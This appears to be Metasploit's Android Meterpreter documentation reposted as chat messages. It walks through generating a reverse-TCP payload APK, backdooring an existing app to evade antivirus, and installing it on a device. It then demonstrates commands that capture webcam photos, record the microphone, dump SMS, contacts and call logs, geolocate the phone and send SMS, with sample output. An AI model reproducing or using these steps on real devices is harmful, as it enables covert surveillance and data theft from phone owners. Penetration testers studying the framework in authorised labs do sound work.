©Jace Joji, [20.01.21 06:41]
The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an Android device. It is still at an early stage of development, but there are so many things you can do with it already.
Vulnerable Application
You can test android/meterpreter/reverse_tcp on these devices:
Android Emulator
An emulator is the most convenient way to test Android Meterpreter. You can try:
Android SDK - Creates and manages your emulators from a command prompt or terminal.
Android Studio - Allows you to manage emulators more easily than the SDK.
GenyMotion - Requires an account.
AndroidAVDRepo - Contains a collection of pre-configured emulators.
A real Android device
Having a real Android device allows you to test features or vulnerabilities you don't necessarily have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also get to test it over a real network.
Verification Steps
Currently, the most common way to use Android Meterpreter is to create it as an APK, and then execute it.
To create the APK with msfconsole:
msf > use payload/android/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
[*] Writing 8992 bytes to /tmp/android.apk...
msf payload(reverse_tcp) >
To create the APK with msfvenom:
./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
To inject meterpreter into an existing APK with msfvenom:
You can also add Android meterpreter to any existing APK. This will make it harder for Anti-virus software to detect the payload, and allow you read internal files and take screenshots of the Android app that you are backdooring:
./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
Please see here for more documentation on Android injection.
Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, so please refer to the Scenarios section for more information.
Important Basic Commands
pwd
The pwd command allows you to see the current directory you're in.
meterpreter > pwd
/data/data/com.metasploit.stage
cd
The cd command allows you to change directory. For example:
meterpreter > cd cache
meterpreter > ls
cat
The cat command allows you to see the contents of a file.
ls
The ls command displays items in a directory. For example:
meterpreter > ls
Listing: /data/data/com.metasploit.stage/files
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity
upload
The upload command allows you to upload a file to the remote target. The -r option allows you to do so recursively.
download
The download command allows you to download a file from the remote target. The -r option allows you to do so recursively.
search
The search command allows you to find files on the remote target. For example:
meterpreter > search -d . -f *.txt
ifconfig
The ifconfig command displays the network interfaces on the remote machine.
meterpreter > ifconfig
...
Interface 10
============
Name : wlan0 - wlan0
Hardware MAC : 60:f1:89:07:c2:7e
IPv4 Address : 192.168.1.207
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : fe80::62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954
IPv6 Netmask : ::
...
getuid
The getuid command shows the current user that the payload is running as:
meterpreter > getuid
Server username: u0_a231
ps
The ps command shows a list of processes the Android device is running. For example:
Jace Joji, [20.01.21 06:41]
meterpreter > ps
Process List
============
PID Name Arch User
--- ---- ---- ----
1 /init root
2 kthreadd root
3 ksoftirqd/0 root
7 migration/0 root
8 rcu_preempt root
9 rcu_bh root
10 rcu_sched root
11 watchdog/0 root
12 watchdog/1 root
13 migration/1 root
14 ksoftirqd/1 root
17 watchdog/2 root
18 migration/2 root
19 ksoftirqd/2 root
22 watchdog/3 root
23 migration/3 root
...
shell
The shell command allows you to interact with a shell:
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0
To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]
sysinfo
The sysinfo command shows you basic information about the Android device.
meterpreter > sysinfo
Computer : localhost
OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Meterpreter : java/android
webcam_list
The webcam_list command shows a list of webcams you could use for the webcam_snap command. Example:
meterpreter > webcam_list
1: Back Camera
2: Front Camera
webcam_snap
The webcam_snap command takes a picture from the device. You will have to use the webcam_list command to figure out which camera to use. Example:
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg
record_mic
The record_mic command records audio. Good for listening to a phone conversation, as well as other uses. Example:
meterpreter > record_mic -d 20
[*] Starting...
[*] Stopped
Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav
activity_start
The activity_start command is an execute command by starting an Android activity from a URI string.
check_root
The check_root command detects whether your payload is running as root or not. Example:
meterpreter > check_root
[*] Device is not rooted
dump_calllog
The dump_calllog command retrieves the call log from the Android device.
dump_contacts
meterpreter > dump_contacts
[*] Fetching 5 contacts into list
[*] Contacts list saved to: contacts_dump_20160308155744.txt
geolocate
The geolocate commands allows you to locate the phone by retrieving the current lat-long using geolocation.
wlan_geolocate
The wlan_geolocation command allows you to locate the phone by retrieving the current lat-long using WLAN information. Example:
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of 30.*******,-97.*******.
[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.*******
send_sms
The send_sms command allows you to send an SMS message. Keep in mind the phone will keep a copy of it, too.
meterpreter > send_sms -d "2674554859" -t "hello"
[+] SMS sent - Transmission successful
sms_dump
The sms_dump command allows you to retrieve SMS messages. And save them as a text file. For example:
Jace Joji, [20.01.21 06:42]
meterpreter > dump_sms
[*] Fetching 4 sms messages
[*] SMS messages saved to: sms_dump_20160308163212.txt
...
$ cat sms_dump_20160308163212.txt
=====================
[+] SMS messages dump
=====================
Date: 2016-03-08 15:30:12 -0600
OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Remote IP: 192.168.1.207
Remote Port: 59130
#1
Type : Incoming
Date : 2016-03-08 15:29:32
Address : ******
Status : NOT_RECEIVED
Message : Hello world
...
run
The run command allows you to run a post module against the remote machine at the Meterpreter prompt. For example:
meterpreter > run post/android/capture/screen
Scenarios
Uploading APK to an Emulator using install_msf_apk.sh
The Metasploit Framework comes with a script that allows you to automatically upload your APK to an active emulator and execute it. It requires the Android SDK platform-tools to run, as well as Java.
To use this, follow these steps:
Start the Android Emulator
Generate the Android payload as an APK.
In msfconsole, start a handler for android/meterpreter/reverse_tcp
Run the installer script like this from a terminal:
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
The the script will do something like this:
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
adding: META-INF/ANDROIDD.SF
adding: META-INF/ANDROIDD.RSA
signing: classes.dex
signing: AndroidManifest.xml
signing: resources.arsc
Failure
1562 KB/s (10715 bytes in 0.006s)
pkg: /data/local/tmp/android.apk
Success
rm failed for -f, Read-only file system
Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
Back in msfconsole, you should receive a session:
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
[*] Sending stage (62432 bytes) to 192.168.1.199
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600
meterpreter >
Uploading APK to a real Android device using install_msf_apk.sh
On the Android device, make sure to enable Developer Options. To do this:
Go to Settings -> About -> Software Information
Tap on the Build Number section a couple of times. It should unlock Developer Options.
Go back to the Settings page, you should see Developer Options.
Under Developer Options, make sure to:
Enable USB debugging
Disable Verify apps via USB
Open a terminal, and type: adb devices. On your Android device, you should see a prompt asking you to allow the computer for debugging, click OK on that.
Do: adb devices again, adb should now have access.
Run the installer script like this from a terminal:
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
And you should get a session.
Uploading APK from a Web Server
One way to upload an APK to Android without adb is by hosting it from a web server. To do this, you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally it's something like this: Settings -> Security -> Check "Unknown Sources"
Once you have that changed, you'll need to:
Generate the APK payload.
Start a web server from the directory where the payload is: ruby -run -e httpd . -p 8181
On your Android device, open a browser, and download the APK.
You should be able to find the APK from the Downloads folder, install it.
After installation, you will have to manually execute it.
Reconnect Android Meterpreter from the Browser Remotely
When you have the APK payload installed on your Android device, another trick to reconnect it is to launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed."
Here's how you do this:
In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job.
Do: auxiliary/server/android_browsable_msf_launch.
Jace Joji, [20.01.21 06:42]
Set the URIPATh if needed.
Do: run. At this point, the web server should be up.
On your Android device, open the native web browser, and go the URL generated by the auxiliary module.
The Android handler should get a session like the following demo:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf exploit(handler) > set EXITONSESSION false
EXITONSESSION => false
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
msf exploit(handler) > [*] Starting the payload handler...
msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch
msf auxiliary(android_browsable_msf_launch) > set URIPATH /test
URIPATH => /test
msf auxiliary(android_browsable_msf_launch) > run
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.199:8080/test
[*] Server started.
[*] Sending HTML...
[*] Sending stage (62432 bytes) to 192.168.1.207
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600
